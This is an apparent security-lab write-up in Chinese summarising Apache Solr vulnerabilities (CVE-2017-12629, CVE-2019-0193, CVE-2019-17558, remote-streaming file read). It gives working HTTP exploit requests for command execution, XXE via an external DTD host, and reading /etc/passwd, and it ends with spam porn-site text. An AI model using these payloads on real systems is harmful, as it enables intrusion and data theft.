<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          雷石|Apache_Solr漏洞總結(jié)

          共 9957字,需瀏覽 20分鐘

           ·

          2023-10-14 11:40


          1.CVE-2017-12629 命令執(zhí)行漏洞


          漏洞簡述:

          原理大致是文檔通過Http利用XML加到一個搜索集合中。查詢該集合也是通過 http收到一個XML/JSON響應(yīng)來實(shí)現(xiàn)。此次7.1.0之前版本總共爆出兩個漏洞:XML實(shí)體擴(kuò)展漏洞(XXE)和遠(yuǎn)程命令執(zhí)行漏洞(RCE),二者可以連接成利用鏈,編號均為CVE-2017-12629。


          影響版本:

          Apache Solr < 7.1


          漏洞分析:

          漏洞點(diǎn)在RunExecutableListener類中exec(),這里使用Runtime.getRuntime().exec() 方法進(jìn)行命令執(zhí)行。



          傳入的參數(shù)在這里處理:


          這里有兩種方法均會調(diào)用exec()


          而上述兩種方法調(diào)用由提交的"event"參數(shù)決定


          第一種UpdateHandler.class 類parseEventListeners()方法

          "event"參數(shù)內(nèi)容為 "postCommit"和"postimize"將調(diào)用postCommit()

          需要二次請求/upload觸發(fā)命令執(zhí)行


          第二種SolrCore.class 中initListeners()方法

          event如果是:“firstSearcher”和 "newSearcher" 將調(diào)用newSearcher()方法直接執(zhí)行命令


          漏洞復(fù)現(xiàn):

          首先創(chuàng)建一個listener,其中設(shè)置exe的值為我們想執(zhí)行的命令,args的值是命令參數(shù)

          POST /solr/demo/config HTTP/1.1Host: ip:8983Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Length: 169 {"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","    args":["-c", "touch /tmp/cve-2017-12629"]}}


          然后進(jìn)行update操作,觸發(fā)剛剛添加的listener

          POST /solr/demo/update HTTP/1.1Host: ip:8983Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/jsonContent-Length: 17 [{"id":"test"}]


          一步執(zhí)行

          POST /solr/demo/config HTTP/1.1Host: 172.16.1.182:8983Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Length: 160 {"add-listener":{"event":"newSearcher","name":"rtener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "echo 1 > /tmp/secxxx.txt"]}}

          2.CVE-2017-12629 XML 實(shí)體注入漏洞


          漏洞簡述:

          Solr 基于 HTTP 和 Apache Lucene 實(shí)現(xiàn)。Lucene在解析xml數(shù)據(jù)時,未設(shè)置任何防御措施,導(dǎo)致可引入惡意外部實(shí)體造成了XXE漏洞。


          影響版本:

          Apache Solr < 7.1


          漏洞分析:

          該漏洞其實(shí)是Lucene存在xxe漏洞,由于solr使用了Lucene既產(chǎn)生了漏洞。


          漏洞點(diǎn):


          漏洞復(fù)現(xiàn):

          http://172.16.1.182:8983/solr/demo/select?&q=%3C%3fxml+version%3d%221.0%22+%3f%3E%3C!DOCTYPE+root[%3C!ENTITY+%25+ext+SYSTEM+%22http%3a%2f%2fx4m9pz.dnslog.cn%2f1.dtd%22%3E%25ext%3B%25ent%3B%5D%3E%3Cr%3E%26data%3B%3C%2Fr%3E&wt=xml&defType=xmlparser


          http://172.16.1.182:8983/solr/demo/select?&q=<?xml+version="1.0"+?><!DOCTYPE+root[<!ENTITY+%+ext+SYSTEM+"http://xxxxxx/1.dtd">%ext;%ent;]><r>&data;</r>&wt=xml&defType=xmlparser


          3.CVE-2019-0193 模板注入漏洞


          漏洞簡述:

          Apache Solr的DataImportHandler模塊是一個可選但常用的模塊,用于從數(shù)據(jù)庫和其他源中提取數(shù)據(jù)。由于DIH配置可以包含腳本,因此攻擊者可以通過構(gòu)造危險的請求,從而造成遠(yuǎn)程命令執(zhí)行。


          影響版本:

          Apache Solr < 8.2.0


          漏洞分析:

          DataImportHandler用于從數(shù)據(jù)庫和其他源中提取數(shù)據(jù),它有一個特性即整個DIH配置可以來自一個請求的“dataConfig”參數(shù)。DIH管理的調(diào)試模式使用它來方便地調(diào)試DIH配置的開發(fā)。因?yàn)镈IH配置可以包含script腳本,所以這個參數(shù)存在安全風(fēng)險。


          在handleRequestBody()函數(shù)中可看到接收了dataConfig參數(shù),該漏洞原因是solr自身的模塊有執(zhí)行腳本的功能,而修復(fù)方法便是禁用debug模式。

          從 Solr 的8.2.0版本開始,使用這個參數(shù)需要將 Java System 屬性 enable.dih.dataConfigParam 設(shè)置為 true,此時也將存在該漏洞。


          漏洞復(fù)現(xiàn):

          創(chuàng)建名為test的Coredocker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db然后在瀏覽器選擇剛創(chuàng)建的核心,選擇Dataimport〉 勾選debug〉Debug-Mode》 執(zhí)行。

          請求如下:

          POST /solr/test/dataimport?_=1696728328091&indent=on&wt=json HTTP/1.1Host: 172.16.1.182:8983User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36Accept: application/json, text/plain, */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateReferer: http://172.16.1.182:8983/solr/Content-type: application/x-www-form-urlencodedX-Requested-With: XMLHttpRequestContent-Length: 677Origin: http://172.16.1.182:8983Connection: close command=full-import&verbose=false&clean=true&commit=true&debug=true&core=test&dataConfig=%3CdataConfig%3E%0A++%3CdataSource+type%3D%22URLDataSource%22%2F%3E%0A++%3Cscript%3E%3C!%5BCDATA%5B%0A++++++++++function+poc()%7B+java.lang.Runtime.getRuntime().exec(%22touch+%2Ftmp%2Fccccc1%22)%3B%0A++++++++++%7D%0A++%5D%5D%3E%3C%2Fscript%3E%0A++%3Cdocument%3E%0A++++%3Centity+name%3D%22stackoverflow%22%0A++++++++++++url%3D%22https%3A%2F%2Fstackoverflow.com%2Ffeeds%2Ftag%2Fsolr%22%0A++++++++++++processor%3D%22XPathEntityProcessor%22%0A++++++++++++forEach%3D%22%2Ffeed%22%0A++++++++++++transformer%3D%22script%3Apoc%22+%2F%3E%0A++%3C%2Fdocument%3E%0A%3C%2FdataConfig%3E&name=dataimport


          4.CVE-2019-17558 命令執(zhí)行漏洞


          漏洞簡述:

          Apache Solr 5.0.0版本至8.3.1版本中存在輸入驗(yàn)證錯誤漏洞。攻擊者可借助Velocity模板利用該漏洞在系統(tǒng)上執(zhí)行任意代碼。


          影響版本:

          Apache Solr 5.0.0 ~8.3.1


          漏洞分析:

          該漏洞是在返回內(nèi)容進(jìn)行模板渲染的時產(chǎn)生了代碼注入

          在這里寫入響應(yīng)

           


          調(diào)用

          QueryResponseWriterUtil.writeQueryResponse



          最后會到

          VelocityResponseWriter#write創(chuàng)建velocity模板引擎,然后進(jìn)入模版方法,觸發(fā)漏洞。


          漏洞復(fù)現(xiàn):

          params.resource.loader.enabled 默認(rèn)情況下 未開啟,可先通過如下API獲取所有的核心。然后修改該項(xiàng)為true (vulhub中核心是demo)

          要添加Content-Type頭 指定:application/json

          {  "update-queryresponsewriter": {    "startup": "lazy",    "name": "velocity",    "class": "solr.VelocityResponseWriter",    "template.base.dir": "",    "solr.resource.loader.enabled": "true",     "params.resource.loader.enabled": "true"  }}


          執(zhí)行命令:

          http://ip:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

          5.Remote-Streaming-Fileread  (任意文件讀取+SSRF)


          漏洞簡述:

          Apache Solr未開啟認(rèn)證的情況下,攻擊者可直接構(gòu)造特定請求開啟特定配置,并最終造成SSRF或任意文件讀取.

          影響版本:

          Apache Solr <= 8.8.1均受影響

          漏洞分析:

          漏洞點(diǎn)


          strs為獲取前端傳入值后 調(diào)用-ContentStreamBase#URLStream或FileStream

          去讀取文件和請求url

          獲取文件時,未對strs的值進(jìn)行檢查或過濾



          漏洞復(fù)現(xiàn):

          通過config修改配置

          POST /solr/demo/config HTTP/1.1Host: 172.16.1.182:8983User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeContent-Type: application/jsonUpgrade-Insecure-Requests: 1Content-Length: 82 {"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}

          讀取文件:


          POST /solr/demo/debug/dump?param=ContentStreams HTTP/1.1Host: 172.16.1.182:8983User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeContent-Type: application/x-www-form-urlencodedUpgrade-Insecure-Requests: 1Content-Length: 29 stream.url=file:///etc/passwd

          SSRF

          改為http協(xié)議

          雷石安全實(shí)驗(yàn)室


          商務(wù)咨詢:

          0571-87031601

          商務(wù)郵箱:

          [email protected]

          瀏覽 1077
          點(diǎn)贊
          評論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報
          評論
          圖片
          表情
          推薦
          點(diǎn)贊
          評論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                  <th id="afajh"><progress id="afajh"></progress></th>
                  美女免费一级操逼视频 | www.伊人大香蕉 | 大香蕉啪啪啪啪啪啪啪 | 国产黄色视频在线观看免费 | 在线高潮视频 |